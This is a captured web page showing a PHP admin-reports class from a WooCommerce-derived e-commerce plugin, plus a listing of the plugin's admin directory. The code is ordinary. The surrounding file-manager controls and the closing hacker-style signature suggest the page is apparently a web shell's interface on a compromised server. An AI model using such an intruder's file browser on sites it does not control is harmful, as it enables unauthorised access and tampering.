Submit
Path:
~
/
/
var
/
softaculous
/
sitepad
/
editor
/
site-data
/
plugins
/
kkart-pro
/
includes
/
admin
/
File Content:
class-kkart-admin-reports.php
<?php /** * Admin Reports * * Functions used for displaying sales and customer reports in admin. * * @author WooThemes * @category Admin * @package Kkart\Admin\Reports * @version 2.0.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; } if ( class_exists( 'KKART_Admin_Reports', false ) ) { return; } /** * KKART_Admin_Reports Class. */ class KKART_Admin_Reports { /** * Handles output of the reports page in admin. */ public static function output() { $reports = self::get_reports(); $first_tab = array_keys( $reports ); $current_tab = ! empty( $_GET['tab'] ) && array_key_exists( $_GET['tab'], $reports ) ? sanitize_title( $_GET['tab'] ) : $first_tab[0]; $current_report = isset( $_GET['report'] ) ? sanitize_title( $_GET['report'] ) : current( array_keys( $reports[ $current_tab ]['reports'] ) ); include_once dirname( __FILE__ ) . '/reports/class-kkart-admin-report.php'; include_once dirname( __FILE__ ) . '/views/html-admin-page-reports.php'; } /** * Returns the definitions for the reports to show in admin. * * @return array */ public static function get_reports() { $reports = array( 'orders' => array( 'title' => __( 'Orders', 'kkart' ), 'reports' => array( 'sales_by_date' => array( 'title' => __( 'Sales by date', 'kkart' ), 'description' => '', 'hide_title' => true, 'callback' => array( __CLASS__, 'get_report' ), ), 'sales_by_product' => array( 'title' => __( 'Sales by product', 'kkart' ), 'description' => '', 'hide_title' => true, 'callback' => array( __CLASS__, 'get_report' ), ), 'sales_by_category' => array( 'title' => __( 'Sales by category', 'kkart' ), 'description' => '', 'hide_title' => true, 'callback' => array( __CLASS__, 'get_report' ), ), 'coupon_usage' => array( 'title' => __( 'Coupons by date', 'kkart' ), 'description' => '', 'hide_title' => true, 'callback' => array( __CLASS__, 'get_report' ), ), 'downloads' => array( 'title' => __( 'Customer downloads', 'kkart' ), 'description' => '', 'hide_title' => true, 'callback' => array( __CLASS__, 'get_report' ), ), ), ), 'customers' => array( 'title' => __( 'Customers', 'kkart' ), 'reports' => array( 'customers' => array( 'title' => __( 'Customers vs. guests', 'kkart' ), 'description' => '', 'hide_title' => true, 'callback' => array( __CLASS__, 'get_report' ), ), 'customer_list' => array( 'title' => __( 'Customer list', 'kkart' ), 'description' => '', 'hide_title' => true, 'callback' => array( __CLASS__, 'get_report' ), ), ), ), 'stock' => array( 'title' => __( 'Stock', 'kkart' ), 'reports' => array( 'low_in_stock' => array( 'title' => __( 'Low in stock', 'kkart' ), 'description' => '', 'hide_title' => true, 'callback' => array( __CLASS__, 'get_report' ), ), 'out_of_stock' => array( 'title' => __( 'Out of stock', 'kkart' ), 'description' => '', 'hide_title' => true, 'callback' => array( __CLASS__, 'get_report' ), ), 'most_stocked' => array( 'title' => __( 'Most stocked', 'kkart' ), 'description' => '', 'hide_title' => true, 'callback' => array( __CLASS__, 'get_report' ), ), ), ), ); if ( kkart_tax_enabled() ) { $reports['taxes'] = array( 'title' => __( 'Taxes', 'kkart' ), 'reports' => array( 'taxes_by_code' => array( 'title' => __( 'Taxes by code', 'kkart' ), 'description' => '', 'hide_title' => true, 'callback' => array( __CLASS__, 'get_report' ), ), 'taxes_by_date' => array( 'title' => __( 'Taxes by date', 'kkart' ), 'description' => '', 'hide_title' => true, 'callback' => array( __CLASS__, 'get_report' ), ), ), ); } $reports = apply_filters( 'kkart_admin_reports', $reports ); $reports = apply_filters( 'kkart_reports_charts', $reports ); // Backwards compatibility. foreach ( $reports as $key => $report_group ) { if ( isset( $reports[ $key ]['charts'] ) ) { $reports[ $key ]['reports'] = $reports[ $key ]['charts']; } foreach ( $reports[ $key ]['reports'] as $report_key => $report ) { if ( isset( $reports[ $key ]['reports'][ $report_key ]['function'] ) ) { $reports[ $key ]['reports'][ $report_key ]['callback'] = $reports[ $key ]['reports'][ $report_key ]['function']; } } } return $reports; } /** * Get a report from our reports subfolder. * * @param string $name */ public static function get_report( $name ) { $name = sanitize_title( str_replace( '_', '-', $name ) ); $class = 'KKART_Report_' . str_replace( '-', '_', $name ); include_once apply_filters( 'kkart_admin_reports_path', 'reports/class-kkart-report-' . $name . '.php', $name, $class ); if ( ! class_exists( $class ) ) { return; } $report = new $class(); $report->output_report(); } }
Edit
Rename
Chmod
Delete
FILE
FOLDER
Name
Size
Permission
Action
helper
---
0755
importers
---
0755
list-tables
---
0755
marketplace-suggestions
---
0755
meta-boxes
---
0755
notes
---
0755
plugin-updates
---
0755
reports
---
0755
settings
---
0755
views
---
0755
class-kkart-admin-addons.php
20149 bytes
0644
class-kkart-admin-api-keys-table-list.php
7119 bytes
0644
class-kkart-admin-api-keys.php
7868 bytes
0644
class-kkart-admin-assets.php
30579 bytes
0644
class-kkart-admin-attributes.php
19243 bytes
0644
class-kkart-admin-customize.php
2510 bytes
0644
class-kkart-admin-dashboard.php
15272 bytes
0644
class-kkart-admin-duplicate-product.php
9260 bytes
0644
class-kkart-admin-exporters.php
5972 bytes
0644
class-kkart-admin-help.php
4499 bytes
0644
class-kkart-admin-import-template.php
20866 bytes
0644
class-kkart-admin-importers.php
10294 bytes
0644
class-kkart-admin-log-table-list.php
9338 bytes
0644
class-kkart-admin-menus.php
12916 bytes
0644
class-kkart-admin-meta-boxes.php
8573 bytes
0644
class-kkart-admin-notices.php
18916 bytes
0644
class-kkart-admin-permalink-settings.php
9173 bytes
0644
class-kkart-admin-pointers.php
9409 bytes
0644
class-kkart-admin-post-types.php
36442 bytes
0644
class-kkart-admin-profile.php
8979 bytes
0644
class-kkart-admin-reports.php
5262 bytes
0644
class-kkart-admin-settings.php
32208 bytes
0644
class-kkart-admin-setup-wizard.php
86165 bytes
0644
class-kkart-admin-status.php
13768 bytes
0644
class-kkart-admin-taxonomies.php
17310 bytes
0644
class-kkart-admin-webhooks-table-list.php
9053 bytes
0644
class-kkart-admin-webhooks.php
11444 bytes
0644
class-kkart-admin.php
10026 bytes
0644
kkart-admin-functions.php
18357 bytes
0644
kkart-meta-box-functions.php
11593 bytes
0644
N4ST4R_ID | Naxtarrr